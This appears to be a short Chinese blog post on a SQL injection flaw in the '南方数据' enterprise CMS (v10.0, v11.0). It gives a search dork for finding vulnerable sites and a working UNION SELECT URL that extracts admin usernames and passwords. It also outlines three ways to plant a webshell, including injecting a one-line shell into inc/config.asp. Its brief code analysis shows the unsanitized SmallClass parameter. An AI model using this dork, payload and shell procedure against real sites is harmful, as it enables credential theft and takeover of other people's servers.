南方数据企业0day漏洞

00x0 漏洞简述

该漏洞其实早就爆出了。

漏洞影响版本 v10.0、v11.0。

关键字:“inurl:HomeMarket.asp”

默认后台:/admin

直接爆出用户密码,构造 URL 如下:

1
http://www.xxx.com/NewsType.asp?SmallClass=' union select 0,username+CHR(124)+password,2,3,4,5,6,7,8,9 from admin union select * from news where 1=2 and ''='

拿 shell 方法貌似有三种:

  1. 注册用户上传拿 shell,这个比较直接,可以不进后台和在不知道用户名密码的情况下。
  2. 进后台备份数据库。
  3. 在网站配置的版权信息里插入一句话,一句话地址写到 http://www.xxx.com/inc/config.asp

00x1 漏洞分析

漏洞代码文件:NewsType.asp

这里我们只截取部分可利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
<%
-------
SmallClass=request("SmallClass")
-------
%>
<%
if BigClass<>"" and SmallClass<>"" then
sql="select * from News where BigClassName='"& BigClass &"' and SmallClassName='"& SmallClass &"' order by AddDate desc"
set rs=conn.execute(sql)
do while not rs.eof
%>

这里可以看到 SmallClass 被直接当做sql 变量执行了,也就是说该变量用户可控,也就造成了SQL注入。

最后,向那些代码审计的大哥致敬。

我们一直都向往,面朝大海,春暖花开。 但是几人能做到,心中有爱,四季不败?